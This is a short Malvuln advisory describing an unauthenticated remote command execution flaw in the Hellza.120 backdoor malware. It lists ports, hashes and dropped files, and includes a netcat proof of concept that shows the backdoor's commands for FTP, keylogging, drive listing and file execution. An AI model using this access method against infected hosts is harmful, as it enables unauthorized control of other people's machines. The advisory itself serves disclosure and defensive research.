Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/2cbd0fcf4d5fd5fb6c8014390efb0b21.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hellza.120
Vulnerability: Unauthorized Remote Command Execution
Description: The malware listens on TCP ports 12122, 21.  Third-party adversarys who can reach infected systems can issue commands made available by the backdoor.
Family: Hellza
Type: PE32
MD5: 2cbd0fcf4d5fd5fb6c8014390efb0b21
Vuln ID: MVID-2022-0641
Dropped files: msdllsrv.exe
Disclosure: 09/19/2022 

Exploit/PoC:
C:\>nc64.exe x.x.x.x 12122
xrR_Server version:1.20 Beta R1.1

F (starts FTP if not running in case where the server was restarted)

L (logger)
L15_ *0.00 KB*

D (drives)
D 1C:\2D:\

E (run file)


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